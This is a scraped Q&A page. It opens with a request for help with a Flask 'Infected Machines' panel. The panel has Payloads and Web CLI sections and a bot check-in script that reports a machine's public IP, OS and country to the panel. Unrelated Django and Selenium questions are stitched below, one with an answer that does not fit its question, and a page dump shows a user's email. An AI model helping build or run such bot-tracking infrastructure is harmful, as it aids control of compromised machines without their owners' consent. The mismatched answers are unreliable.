I'm creating something where my flask backend will get the last added record from mysql, then the frontend will duplicate a div with that new information and display it to the user. It all works fine and as expected, but I don't get how to make it so that the previously duplicated divs contents won't have their values changed when a new record is added.
import copy
import pymysql
from flask import Flask, render_template, request, redirect, url_for, session, jsonify
conn = pymysql.connect(
host = 'localhost',
user = 'root',
password = '',
db = 'panel',
)
cur = conn.cursor()
app = Flask(__name__, template_folder = "templates")
rundupe = 1 # Debug
runpage = True # Debug
#app.route("/")
def index():
return render_template("index.html")
#app.route("/infected", methods=['GET', 'POST'])
def infected():
global rundupe
global runpage
if runpage:
#runpage = False
cur.execute("SELECT id FROM botinfo ORDER BY id DESC LIMIT 1")
res0 = cur.fetchone()[0]
print(res0)
cur.execute("SELECT ip FROM botinfo WHERE id = %s", (res0))
res1 = cur.fetchone()[0]
cur.execute("SELECT os FROM botinfo WHERE id = %s", (res0))
res2 = cur.fetchone()[0]
cur.execute("SELECT country FROM botinfo WHERE id = %s", (res0))
res3 = cur.fetchone()[0]
cur.execute("SELECT date FROM botinfo WHERE id = %s", (res0))
res4 = cur.fetchone()[0]
if res1 and res2 and res3 and res4:
return render_template("infected.html", newip = res1, newos = res2, country = res3, date = res4, id = res0, rundupe = rundupe)
return render_template("infected.html")
#app.route("/payloads")
def payloads():
return render_template("payloads.html")
#app.route("/db")
def database():
return render_template("database.html")
#app.route("/analytics")
def analytics():
return render_template("analytics.html")
#app.route("/cli")
def cli():
return render_template("cli.html")
#app.route("/security")
def security():
return render_template("security.html")
#app.route("/settings")
def settings():
return render_template("settings.html")
#app.route("/accepter", methods=["GET", "POST"])
def accept():
if request.method == "GET":
global rundupe
global runpage
ip = request.args.get("ip")
os = request.args.get("os")
country = request.args.get("country")
date = request.args.get("date")
if ip and os and country and date:
runpage = True
sql = "INSERT INTO botinfo (ip, os, country, date) VALUES (%s, %s, %s, %s)"
cur.execute(sql, (ip, os, country, date))
conn.commit()
rundupe += 1
return render_template("api.html")
app.run("127.0.0.1", 5000, debug = True)
Flask backend, first it gets some information in the accepter route from url parameters and then it saves that information into mysql and sends it to the user in the infected route.
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="stylesheet" href="{{ url_for('static', filename='css/styles.css') }}">
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.8.1/css/all.css">
<link href="https://fonts.googleapis.com/css2?family=Chakra+Petch:wght#500&display=swap" rel="stylesheet">
<script src="https://code.jquery.com/jquery-3.6.0.js" integrity="sha256-H+K7U5CnXl1h5ywQfKtSj8PCmoN9aaq30gDh27Xc0jk=" crossorigin="anonymous"></script>
<title>Home</title>
</head>
<body onload="duplicate();" style="background-color: rgb(15, 15, 34);">
<div class="wrapper">
<div class="section">
<div class="top_navbar">
<div class="hamburger">
<a href="#">
<i class="fas fa-bars"></i>
</a>
</div>
</div>
</div>
<div class="sidebar">
<div class="profile">
<span class="icon"><i style="color: white;" class="fas fa-user-tie fa-3x"></i></span>
<h3>Visually</h3>
<p>System Admin</p>
</div>
<ul>
<li>
<a href="/">
<span class="icon"><i class="fas fa-home"></i></span>
<span class="item">Home</span>
</a>
</li>
<li>
<a href="/infected" class="active">
<span class="icon"><i class="fas fa-desktop"></i></span>
<span class="item">Infected</span>
</a>
</li>
<li>
<a href="/payloads">
<span class="icon"><i class="fas fa-scroll"></i></span>
<span class="item">Payloads</span>
</a>
</li>
<li>
<a href="/db">
<span class="icon"><i class="fas fa-database"></i></span>
<span class="item">Database</span>
</a>
</li>
<li>
<a href="/analytics">
<span class="icon"><i class="fas fa-chart-line"></i></span>
<span class="item">Analytics</span>
</a>
</li>
<li>
<a href="/cli">
<span class="icon"><i class="fas fa-terminal"></i></span>
<span class="item">Web CLI</span>
</a>
</li>
<li>
<a href="/security">
<span class="icon"><i class="fas fa-user-shield"></i></span>
<span class="item">Security</span>
</a>
</li>
<li>
<a href="/settings">
<span class="icon"><i class="fas fa-cog"></i></span>
<span class="item">Settings</span>
</a>
</li>
</ul>
</div>
</div>
<h1 style="text-align: center; color: white; margin-top: 2%; font-size: 50px;">Infected Machines</h1>
<div class="statsBox" style="margin-left: 415px; margin-top: 90px; width: 800px; height: 400px; overflow-y: auto;" id="machines">
<p style="text-align: center; font-size: 20px">Machines</p>
<div class="infectedBox" id="infectedBox" style="width: 793px; height: 90px; margin-top: 15px; cursor: pointer; background-color: rgb(2, 2, 31); display: none;">
<script type="text/javascript">
let i = 0;
let id = 0;
let num = 0;
const og = document.getElementById('infectedBox');
function duplicate() {
if('{{ rundupe }}') {
for(let i = 0; i < '{{ rundupe }}'; ++i) {
let clone = og.cloneNode(true);
clone.style.display = 'block';
clone.id = "duplicater" + ++i;
og.parentNode.appendChild(clone);
++num;
++id;
const number = document.querySelector(`#duplicater${i} #number`).textContent = `#${num}`;
const mainInfo = document.querySelector(`#duplicater${i} #mainInfo`).textContent = `Country: {{ country }}, OS: {{ newos }}, Date Captured: {{ date }}`;
const botInfo = document.querySelector(`#duplicater${i} #botInfo`).textContent = `Bot: {{ newip }}`;
console.log(number, mainInfo, botInfo);
}
}
}
</script>
<span class="icon"><i style="margin-left: 10px; margin-top: 12px;" class="fas fa-user fa-4x"></i></span>
<p id="botInfo" style="color: white; margin-top: -70px; margin-left: 100px; font-size: 20px;"></p>
<p id="mainInfo" style="color: white; margin-top: 12px; margin-left: 100px;"></p>
<p id="number" style="color: white; margin-top: -60px; margin-left: 700px; font-size: 60px;">#<script type="text/javascript">document.write(num);</script></p>
</div>
</div>
<script type="text/javascript">
let hamburger = document.querySelector(".hamburger");
hamburger.addEventListener("click", () => {
document.querySelector("body").classList.toggle("active");
})
</script>
</body>
</html>
html page to display the info.
from urllib.request import urlopen
from datetime import date
import urllib.request
import requests
import platform
import json
import sys
import re
today = date.today()
d1 = today.strftime("%m/%d/%Y")
url = 'http://ipinfo.io/json'
response = urlopen(url)
data = json.load(response)
country = data['country']
print(country)
pubip = urllib.request.urlopen('https://ident.me').read().decode('utf8')
print(pubip)
os = platform.system()
print(os)
requests.get(f"http://127.0.0.1:5000/accepter?ip={pubip}&os={os}&country={country}&date={d1}")
Script that makes GET request to server.
I don't understand how to get the div to duplicate in such a way that the value of the old one isn't altered, and only the new one uses the value of what my flask route is returning.
Related
I'm trying to build a website that generates a power hour style video from a list of music videos that the user selects by searching through the youtube api. I'm having trouble figuring out how to append selected videos to a list (addedVideos) in view.py from a button (add) in my html. I need to append each added video to a list so I can display them and loop through them in an embedded youtube player. This is my first django project so I don't have a good understanding of what the potential problems could be. index.html and views.py below:
views.py
import requests
from isodate import parse_duration
from django.conf import settings
from django.shortcuts import render, redirect
def index(request):
addedVideos = []
videos = []
if request.method == 'POST':
search_url = 'https://www.googleapis.com/youtube/v3/search'
video_url = 'https://www.googleapis.com/youtube/v3/videos'
search_params = {
'part' : 'snippet',
'q' : request.POST['search'],
'key' : settings.YOUTUBE_DATA_API_KEY,
'maxResults' : 3,
'type' : 'video'
}
#print(request.POST['submit'])
r = requests.get(search_url, params=search_params)
#print(r)
results = r.json()['items']
#print(results)
video_ids = []
for result in results:
video_ids.append(result['id']['videoId'])
if request.POST['submit'] == 'lucky':
return redirect(f'https://www.youtube.com/watch?v={ video_ids[0] }')
video_params = {
'key' : settings.YOUTUBE_DATA_API_KEY,
'part' : 'snippet,contentDetails',
'id' : ','.join(video_ids),
'maxResults' : 3
}
r = requests.get(video_url, params=video_params)
results = r.json()['items']
for result in results:
video_data = {
'title' : result['snippet']['title'],
'id' : result['id'],
'url' : f'https://www.youtube.com/watch?v={ result["id"] }',
'duration' : int(parse_duration(result['contentDetails']['duration']).total_seconds() // 60),
'thumbnail' : result['snippet']['thumbnails']['high']['url']
}
videos.append(video_data)
if request.POST['add'] == 'addValue':
print("add clicked")
context = {
'videos' : videos,
'addedVideos': addedVideos
}
return render(request, 'search/index.html', context)
index.html
{% load static %}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>Search YouTube</title>
<!-- Bootstrap core CSS -->
<link href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous">
<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
-webkit-user-select: none;
-moz-user-select: none;
-ms-user-select: none;
user-select: none;
}
#media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="{% static 'search/album.css' %}" rel="stylesheet">
</head>
<body>
<main role="main">
<section class="jumbotron text-center">
<div class="container">
<h1 class="jumbotron-heading">Build Your Power Hour</h1>
<p class="lead text-muted">Select music videos to add to your power hour</p>
<form method="POST">
<div class="input-group mb-3">
{% csrf_token %}
<input type="text" name="search" class="form-control" aria-label="Username">
</div>
<p>
<button type="submit" name="submit" value="search" class="btn btn-primary my-2">YouTube Search</button>
<button type="submit" name="submit" value="lucky" class="btn btn-secondary my-2">I'm Feeling Lucky</button>
</p>
</form>
</div>
</section>
<div class="album py-5 bg-light">
<div class="container">
<div class="row">
{% for video in videos %}
<div class="col-md-4">
<div class="card mb-4 shadow-sm">
<img class="bd-placeholder-img card-img-top" width="100%" height="225" src="{{ video.thumbnail }}" preserveAspectRatio="xMidYMid slice" focusable="false" role="img" aria-label="Placeholder: Thumbnail"></img>
<div class="card-body">
<p class="card-text">{{ video.title }}</p>
<div class="d-flex justify-content-between align-items-center">
<div class="btn-group">
<form method="POST">
{% csrf_token %}
<button type="submit" name="add" value="addValue" id='{{ video }}' class="btn btn-sm btn-outline-secondary">Add</button>
</form>
</div>
<small class="text-muted">{{ video.duration }} mins</small>
</div>
</div>
</div>
</div>
{% endfor %}
</div>
</div>
</div>
</main>
</body>
</html>
Running this as is gives a MultiValueDictKeyError at 'q' : request.POST['search'],
Any help would be appreciated, thanks.
You should put / in front of search/index.html instead of search/index.html.
And you don't have to have the https:// you can just put // instead.
The error is raised :
Page not found (404) No cart matches the given query.
Request Method: GET Request
URL: http://127.0.0.1:8000/change_quan?cid=1&quantity=2
Raised by: myapp.views.change_quan
when i am trying to save quantity value in database
i tried but this error raised always
my views.py
def productcart(request):
context = {}
items = cart.objects.filter(user__id=request.user.id,status=False)
context["items"] = items
if request.user.is_authenticated:
if request.method=="POST":
pid = request.POST["pid"]
qty = request.POST["qty"]
img = request.POST["img"]
dis_price = request.POST["dis_price"]
is_exist = cart.objects.filter(product__id=pid,user__id=request.user.id,status=False)
if len(is_exist)>0:
context["msg"] = "item already exist in cart"
context["cls"] = "alert alert-warning"
else:
product = get_object_or_404(Product,id=pid)
usr = get_object_or_404(User,id=request.user.id)
c = cart(user=usr,product=product,quantity=qty,image=img,total_price=dis_price)
c.save()
context["msg"] = "{} Added in cart".format(product.name)
context["cls"] = "alert alert-success"
else:
context["status"] = "Please login first to add products to cart"
return render(request,'E-commerce-cart.html',context)
def get_cart_data(request):
items = cart.objects.filter(user__id=request.user.id,status=False)
sale,total,quantity=0,0,0
for i in items:
sale+=i.product.discount
total+=i.product.price
quantity+=i.quantity
res={
"total":total,"offer":sale,"quan":quantity
}
return JsonResponse(res)
def change_quan(request):
qty = request.GET["quantity"]
cid = request.GET["cid"]
print(request.GET)
cart_obj = get_object_or_404(cart,id=cid)
cart_obj.quantity = qty
cart_obj.save()
return HttpResponse(1)
my urls.py
"""emarket URL Configuration
The `urlpatterns` list routes URLs to views. For more information please see:
https://docs.djangoproject.com/en/3.2/topics/http/urls/
Examples:
Function views
1. Add an import: from my_app import views
2. Add a URL to urlpatterns: path('', views.home, name='home')
Class-based views
1. Add an import: from other_app.views import Home
2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')
Including another URLconf
1. Import the include() function: from django.urls import include, path
2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))
"""
from os import name
from django.contrib import admin
from django.urls import path
from myapp import views
from django.conf.urls.static import static
from django.conf import settings
urlpatterns = [
path('admin/', admin.site.urls),
path('',views.home,name='home'),
path('shop/',views.shop,name='shop'),
path('login/',views.create_user,name='login'),
path('logout/',views.user_logout,name='logout'),
path('cart/',views.productcart,name='cart'),
path('checkout/',views.checkout,name='checkout'),
path('product_detail/',views.product_detail,name='prodct-detail'),
path('find_us/',views.find_us,name='find'),
path('blog/',views.blog,name='blog'),
path('base/',views.base),
path('api/categories',views.all_categories,name="all_categories"),
path('api/brand',views.brand,name="brand"),
path('api/products',views.product_filter_api,name="product_filter_api"),
path('user_check/',views.check_user,name="check_user"),
path('filter_product/',views.filter_product,name="filter_product"),
path('add_to_favourite/',views.add_to_favourite,name="add_to_favourite"),
path('all_favourites/',views.all_favourites,name="all_favourites"),
path('forgotpass',views.forgotpass,name="forgotpass"),
path('resetpass',views.resetpass,name="resetpass"),
path('get_cart_data',views.get_cart_data,name="get_cart_data"),
path('change_quan',views.change_quan,name='change_quan'),
]+static(settings.MEDIA_URL,document_root=settings.MEDIA_ROOT)
my models.py
class cart(models.Model):
user = models.ForeignKey(User, on_delete=models.CASCADE)
product = models.ForeignKey(Product,on_delete=models.CASCADE)
image = models.ImageField(default=False)
total_price=models.FloatField(default=False)
quantity = models.IntegerField()
status = models.BooleanField(default=False)
added_on = models.DateTimeField(auto_now_add=True)
updated_on = models.DateTimeField(auto_now=True)
def __str__(self):
return self.user.username
my html code
{% extends 'base.html' %}
{% block head %}
<style>
.k{height: 1px;background-color: rgb(211, 207, 207);}
.s{color:rgb(240, 240, 240);
letter-spacing: 3px;
font-family:-apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif;
font-weight: 400;}
.cncl_icn{
float: left;
margin: 15px;
padding-top: 10px;
}
.a:hover{
background-color:rgba(152, 209, 255, 0.705);color: rgb(255, 255, 255);box-shadow:0px 0px 7px 7px rgba(204, 201, 201, 0.5) ;
}
#media screen and (max-width:680px){
.b{opacity: 0;}
/* .v{position: absolute;top: 5px;} */
.s{font-size: 15px;}
}
#media screen and (min-width:1024px){
.s{font-size: 20px;}
}
</style>
{% endblock %}
{% block body %}
{% if user.is_superuser %}
<div class="container-fluid "></div>
<h1 class="jumbotron my-5" >you are not Allowed here</h1>
{% else %}
{% if status %}
<h1 class="jumbotron my-5">{{status}}</h1>
{% else %}
{% if msg %}
<div class="{{cls}}">{{msg}}</div>
{% endif %}
<div class="row v " style="margin-right: 0%;">
<div class="col-lg-7" >
<div class="row text-center p-3 b" style="background-color: rgba(2, 184, 184, 0.863); background-attachment: fixed;">
<div class="col-md-3 "> <h3 class="s">Product</h3></div>
<div class="col-md-3 "><h3 class="s">Price</h3></div>
<div class="col-md-3 "><h3 class="s">Qantity</h3></div>
<div class="col-md-3 "><h3 class="s">Total</h3></div>
</div>
{% for i in items %}
<div class="row a border-bottom" id="col{{i.product.id}}">
<div class="col-md-3 text-center " >
<i class="far fa-times-circle cncl_icn" id="cross{{i.product.id}}" style="font-size: 30px;"></i>
<img class="mt-4" src="/media/{{i.image}}" alt="check ur internet!" height="150px">
<h4 class="ml-5" style="color: black;">{{i.product.name}}</h4>
<p class="ml-5">Size:{{i.product.size}} , color:{{i.product.color}}</p>
</div>
<div class="col-md-3 text-center mt-5">
{%if i.total_price < i.product.price%}
<del style="font-weight: bold; color: grey;" >${{i.product.price}}</del> $<p class="d-inline" style="font-weight: bold;" id="price{{i.product.id}}">{{i.total_price}}</p>
{% else %}
$<p class="d-inline" style="font-weight: bold;" id="price{{i.product.id}}">{{i.product.price}}</p>
{% endif %}
</div>
<div class="col-md-3 text-center">
<div class="form-group mt-4">
<div class="input-group">
<div class="input-group-btn ">
<button id="down" class="btn btn-default" onclick="change_quan('{{i.product.id}}','minus')" style="font-size: 25px;background: none;border: none;font-weight: bold;">-</button>
</div>
<input type="number" id="cart{{i.product.id}}" class="form-control text-center pt-3" value="{{i.quantity}}" style="width: 30px;border: none;font-weight: bold;background: none;">
<div class="input-group-btn">
<button id="up" class="btn btn-default" onclick="change_quan('{{i.product.id}}','plus')" style="font-size: 25px;background: none;border: none;font-weight: bold;">+</button>
</div>
</div>
</div>
</div>
<div class="col-md-3 mt-5 text-center">
{%if i.total_price < i.product.price %}
$<p class="d-inline" style="font-weight: bold;" id="total{{i.product.id}}">{{i.total_price}}</p>
{% else %}
$<p class="d-inline" style="font-weight: bold;" id="total{{i.product.id}}">{{i.product.price}}</p>
{% endif %}
</div>
</div>
<script>
$(function() {
$("#cross{{i.product.id}}").hover(function() {
$("#cross{{i.product.id}}").toggleClass("fas fa-times-circle").toggleClass("far fa-times-circle")
})
// to remove product from cart
$("#cross{{i.product.id}}").confirm({
title: 'Confirm',
content: 'Are you sure to remove this product from cart',
theme: 'modern',
buttons:{
confirm: function() {
$('#col{{i.product.id}}').remove()
},
cancel: function (){}
}
})
})
</script>
{% endfor %}
</div>
<script>
function grandTotal(){
$.ajax({
url:"{% url 'get_cart_data' %}",
type:'get',
success:function(data){
p = Math.round((data.offer/data.total)*100,2)
$('.item_total').html("$"+data.total)
$('#offer').html("$"+data.offer)
$('#per').html("("+p+"%)")
$('#quantity').html(data.quan)
c = (data.total)-(data.offer)
$('#grand_Total').html("$"+c)
}
})
}
grandTotal()
function change_quan(id,action){
let old = $("#cart"+id).val();
quan = 0
if(action=="plus"){
quan+=parseInt(old)+1
$('#total'+id).text( parseFloat($('#total'+id).text()) + parseFloat($('#price'+id).text()))
}
else{
quan+=parseInt(old)-1
$('#total'+id).text( parseFloat($('#total'+id).text()) - parseFloat($('#price'+id).text()))
}
$("#cart"+id).val(quan);
$.ajax({
url:"{% url 'change_quan' %}",
type:"get",
data:{cid:id,quantity:quan},
success:function(data){
alert(data)
}
});
}
</script>
<div class="col-md-5 text-center py-5" style="background-color: rgba(255, 176, 218, 0.397);">
<div id="cartt"></div>
<div class="row">
<img src="/static/Images/estore1.png" alt="" height="300px" style="margin: auto;">
</div>
<div class="pb-3 " style="font-size:30px;font-weight: bold;">--------------------</div>
<h4 class="pt-3" style="font-family: Arial, Helvetica, sans-serif;letter-spacing: 3px;text-transform: uppercase;">Total: <span style="font-size: 28px;" class="item_total"></span></h4>
<h4 class="pt-1" style="font-family: Arial, Helvetica, sans-serif;letter-spacing: 3px;text-transform: uppercase;">Quantity: <span style="font-size: 28px;" id="quantity"></span><span style="text-transform: none;"> Items</span></h4>
<h4 class="pt-1" style="font-family: Arial, Helvetica, sans-serif;letter-spacing: 3px;text-transform: uppercase;">You Saved: <span style="font-size: 28px;" id="offer"></span><span class='text-success'style="font-size: 20px;" id="per"></span></h4>
<h4 class="py-1" style="font-family: Arial, Helvetica, sans-serif;letter-spacing: 3px;text-transform: uppercase;">Grand Total: <del style="font-size: 25px; color:grey;" class="item_total"></del><span style="font-size: 28px;" id="grand_Total"></span></h4>
<h4 class="pt-3">Shipping charges will calculated at checkout</h4>
<form class="pt-3" action="" >
<!-- <input type="text" placeholder="Coupon code.." name="cod" class="mt-3 text-center" style="letter-spacing: 2px;font-size: 20px;border-radius: 25px;width: 250px;height: 47px;background-color: rgb(255, 255, 255);border:2px solid thistle;" >
<input type="submit" class="mt-3" value="Apply Code"name="acd" style="letter-spacing: 2px;font-size: 25px;border-radius: 25px;border: none;width: 250px;height: 45px;background-color: rgb(161, 158, 158);color: rgb(255, 255, 255);" > -->
<input type="submit" value="CHECKOUT" name="che" class="mt-5" style="letter-spacing: 2px;font-size: 25px;border-radius: 25px;border: none;width: 250px;height: 45px;background-color: black;color: rgb(255, 255, 255);" >
</form>
</div>
</div>
{% endif %}
</div>
{% endif %}
{% endblock %}
if data does not exist 'get_object_or_404' will throw 404 error, As per your request You are trying to retrieve data with primary key 1, but data is not available
That’s why you get this error. so please check you table or try with other pk value
def change_quan(request):
qty = request.GET["quantity"]
cid = request.GET["cid"]
print(request.GET)
cart_obj = get_object_or_404(cart,id=cid) # please check this cid value
cart_obj.quantity = qty
cart_obj.save()
return HttpResponse(1)
get_object_or_404 is not the correct choice here. Since object with id=cid was not found in database, 404 error was raised. This is the expected behaviour of get_object_or_404.
Did you mean to use get_or_create object incase the object that is trying to be fetched from database is not found?
I am trying to click on a button using selenium and python but I can not click it.
<div id="environmentNavigation" class="yui-navset yui-navset-top">
<ul class="yui-nav">
<li nav="myDash" class="" title="">
<a href="#" hidefocus="true">
<em>My dashboard</em>
</a>
</li>
<li nav="myApp">
<a href="#" hidefocus="true">
<em>My applications</em>
</a>
</li>
<li nav="myPermits" class="" title="">
<a href="#" hidefocus="true">
<em>My permits</em>
</a>
</li>
<li nav="allPermits" class="" title="">
<a href="#" hidefocus="true">
<em>All permits</em>
</a>
</li>
<li nav="myDetails" class="selected" title="active">
<a href="#" hidefocus="true">
<em>My Details</em>
</a>
</li>
</ul>
</div>
This is the HTML source, I want to click on All permits button I tried using XPath,link_text but nothing worked. please help me here. The website is confidential which requires login so I can't share it, your help would be much appreciated.
Webdriver object:
driver=webdriver.Chrome(executable_path=chromedriver_path)
driver.get('https://myminesonline.business.qld.gov.au/suite/apps')
wait=WebDriverWait(driver,10)
Full XPATH:
wait.until(EC.element_to_be_clickable((By.XPATH,'/html/body/div[1]/div/div[2]/ul/li[4]'))).click()
XPATH:
wait.until(EC.element_to_be_clickable((By.XPATH,'//*[#id="environmentNavigation"]/ul/li[4]'))).click()
Thanks
driver.page_source
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head>
<title>My dashboard | Appian Application Portal</title>
<meta http-equiv="content-type" content="text/html">
<meta http-equiv="Content-Style-Type" content="text/css">
<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7">
<link rel="shortcut icon" href="/suite/portal/img/appian_16x16.ico?appian_environment=">
<link rel="icon" href="/suite/portal/img/appian_48x48.png?appian_environment=" sizes="48x48">
<link rel="icon" href="/suite/portal/img/appian_32x32.png?appian_environment=" sizes="32x32">
<script type="text/javascript">
(function() {
var hash = window.sessionStorage && sessionStorage.getItem(\'hash\');
if (hash) {
sessionStorage.removeItem(\'hash\');
window.location = window.location + hash;
}
// do not use h:rewrite or c:url because the path already indicates
// the environment, and we don\'t want the environment to show up in the address bar
var envPath = \'/suite/apps\';
// validate browser URL is that of the current environment
var envPathRegEx = /\\/suite\\/apps/i;
var isAddressBarOk = !!top.location.href.match(envPathRegEx);
if (!isAddressBarOk) {
top.location.href = envPath;
return;
}
// validate that we don\'t try to load index inside index (infinite loop)
if (top != self) {
var isTopIndex = !!top.fContent; // assume if there\'s fContent in top, then top is index.jsp
if (isTopIndex) {
// index.jsp ended up nested in itself; default to environment entry point
top.fContent.location.href = \'/suite/portal/loadEnvironmentHome.do?appian_environment=apps\';
} else {
top.location.href = envPath;
}
return;
}
})();
window.APPIAN = {
};
</script>
</head>
<frameset rows="*, 0" border="0">
<frame name="fContent" id="fContent" src="/suite/portal/loadEnvironmentHome.do?appian_environment=apps" noresize="" title="Main Content Frame">
</frameset>
<noframes>
This site requires frames. Please turn on frame support in your web browser.
</noframes>
</html>
It seems that the tag I require is not inside these. What should I do now?
Body tag copied from the inspect element
<body class="yui-skin-sam" onload="if (typeof timeout == 'function') { timeout(); }" onbeforeunload="window.eventCache.flushAll();" data-new-gr-c-s-check-loaded="14.1002.0" data-gr-ext-installed=""><iframe id="_yuiResizeMonitor" style="position: absolute; visibility: visible; width: 10em; height: 10em; top: -124px; left: -124px; border-width: 0px;"></iframe>
<a id="skipNavigationLink508" href="#environmentContent">Jump to content</a>
<script type="text/javascript">
window.decorator = 'main';
if (isIE) { $("body").addClass("isIE"); }
</script>
<div id="bodyDecoratorContainer">
<iframe name="fProcess" id="fProcess" style="display:none;position:absolute;width:600px;height:400px;margin:100px;top:0;left:0px;z-index:100;" src="/suite/portal/blank.jsp" title="Background processing frame. No displayed content."></iframe>
<iframe name="popupTarget" id="popupTarget" style="display:none;" src="/suite/portal/blank.jsp" title="Background processing frame. No displayed content."></iframe>
<div id="mainContent" style="">
<div id="environmentHeader">
<div class="a1">
<div class="b1">
<img src="/suite/portal/img/skins/default/app.gif" id="applicationIcon" alt="Application"></div>
<div class="b2 appName" id="applicationName" title="MyMinesOnline - Click here to view available applications">MyMinesOnline</div>
<div class="b3">
<div id="topNavItemsMenu" class="yuimenu yui-module yui-overlay" style="position: absolute; visibility: hidden;">
<div class="bd">
<ul class="first-of-type">
<li topnavid="myminesonline" id="yui-gen0" class="yuimenuitem first-of-type" groupindex="0" index="0">
<a href="#" title="" class="yuimenuitemlabel">
MyMinesOnline
</a>
</li>
</ul>
<div class="dividerContainer"><div class="menuDivider"></div></div>
<ul class="first-of-type">
<!-- Remove comments to re-enable dropdown items.
<li topNavId="system.tasks" >
<a href="#">
Tasks
</a>
</li>
<li topNavId="system.alerts" >
<a href="#">
Alerts
</a>
</li>
-->
</ul>
</div>
</div>
<script>
(function(){
YAHOO.widget.MenuManager.removeMenu(YAHOO.widget.MenuManager.getMenu('topNavItemsMenu'));
var menu = new YAHOO.widget.Menu('topNavItemsMenu', {
maxheight: 400,
scrollincrement: 2,
context: ["applicationNameLink",
YAHOO.widget.Overlay.TOP_RIGHT,
YAHOO.widget.Overlay.BOTTOM_RIGHT]
});
menu.hide();
var showFn = function () {
menu.render();
menu.align();
menu.show();
}
YAHOO.util.Event.addListener('applicationName', 'click', showFn, null, menu);
var menuElements = $("#topNavItemsMenu li");
for (var i = 0; i < menuElements.length; i++) {
var menuItem = menuElements.get(i);
YAHOO.util.Event.addListener(menuItem, 'click', function(){
var topNavId = this.getAttribute('topNavId');
ApplicationPortalUtils.loadTopNavigation(topNavId, ApplicationPortalUtils.defaultNavItem);
return false;
}, menuItem);
}
})();
</script></div>
</div>
<div class="a2">
<div class="c1">
<div class="d1">
<!-- Remove comment tags to re-enable links.
<a hidefocus="true" href="/suite/tempo" class="headerTempoIcon" title='Launch Tempo in new window' target="tempoWindow">Tempo</a>
<a hidefocus="true" href="#" class="sprite inbox" onclick="ApplicationPortalUtils.loadTopNavigation('system.tasks', ApplicationPortalUtils.defaultNavItem); return false;">Tasks<span class="taskCount"></span></a>
<a hidefocus="true" href="#" class="sprite alerts" onclick="ApplicationPortalUtils.loadTopNavigation('system.alerts', ApplicationPortalUtils.defaultNavItem); return false;">Alerts<span class="notificationCount"></span></a>
-->
<a hidefocus="true" href="#" class="sprite preferences" onclick="backgroundAction('/portal/updateUserPreferences.do','asiDialog');" title="Click to modify preferences">anitalee.ishere#yahoo.com</a>
<!--
<a hidefocus="true" href="https://docs.appian.com/suite/help/19.3" target="_blank" class="sprite help" title="Open User Guide in new window" hidefocus="hidefocus">Help</a>
-->
<a hidefocus="true" href="#" class="sprite logout" onclick="logout();">Sign Out</a>
</div>
</div>
<div class="c2">
<a id="logo" href="#" onclick="return false;"><img src="/suite/portal/img/skins/default/companylogo.png" height="31px" alt="MyMinesOnline"></a>
</div>
</div>
<div class="clearboth"></div>
</div>
<script>
(function(){
$("#logo").click(function(){
var homeApplicationId = '';
if (!StringUtils.isBlank(homeApplicationId)){
ApplicationPortalUtils.loadTopNavigation(homeApplicationId, ApplicationPortalUtils.defaultNavItem);
}
return false;
});
})();
</script>
<div id="environmentNavigation" class="yui-navset yui-navset-top">
<ul class="yui-nav">
<li nav="myDash" class="" title=""><em>My dashboard</em></li><li nav="myApp"><em>My applications</em></li><li nav="myPermits"><em>My permits</em></li><li nav="allPermits" class="" title=""><em>All permits</em></li><li nav="myDetails" class="selected" title="active"><em>My Details</em></li></ul>
<div class="yui-content"><div style="display: none;"></div><div style="display: none;"></div><div style="display: none;"></div><div style="display: none;"></div><div style="display: block;"></div></div></div>
<script>
(function(){
var tabView = new YAHOO.widget.TabView('environmentNavigation');
// We add an entry under the ApplicationPortalUtils.defaultNavItem key to represent the default secondary navigation
// item (tab) to be displayed for the current top-navigation item ("app"). It will always be the first item in the list.
var navItemDefaultContent = {};
navItemDefaultContent[ApplicationPortalUtils.defaultNavItem] = {};
navItemDefaultContent[ApplicationPortalUtils.defaultNavItem]['url'] = '\/portal.bg?appian_environment=apps&%24p=67';
navItemDefaultContent[ApplicationPortalUtils.defaultNavItem]['index'] = 0;
navItemDefaultContent['myDash'] = {};
navItemDefaultContent['myDash']['url'] = '\/portal.bg?appian_environment=apps&%24p=67';
navItemDefaultContent['myDash']['index'] = '0';
navItemDefaultContent['myApp'] = {};
navItemDefaultContent['myApp']['url'] = '\/portal.bg?appian_environment=apps&%24p=86';
navItemDefaultContent['myApp']['index'] = '1';
navItemDefaultContent['myPermits'] = {};
navItemDefaultContent['myPermits']['url'] = '\/portal.bg?appian_environment=apps&%24p=88';
navItemDefaultContent['myPermits']['index'] = '2';
navItemDefaultContent['allPermits'] = {};
navItemDefaultContent['allPermits']['url'] = '\/portal.bg?appian_environment=apps&%24p=85';
navItemDefaultContent['allPermits']['index'] = '3';
navItemDefaultContent['myDetails'] = {};
navItemDefaultContent['myDetails']['url'] = '\/portal.bg?appian_environment=apps&%24p=53';
navItemDefaultContent['myDetails']['index'] = '4';
Environment.Navigation.afterContentLoad = function(content) {
// #39204: Show main content after we finished loading everything to avoid flickering.
$("#mainContent").show();
};
/**
* Navigates into a new tab in the designer portal environment.
*
* #param {String} navToken The URL identifier corresponding to the secondary navigation item. Optionally it
* can also contain the content url to load. The format in the latter case is: url_identifier[;content].
* The content url is expected to be properly URL encoded.
* #param {String} pageId (optional) The URL identifier corresponding to the page to show.
*/
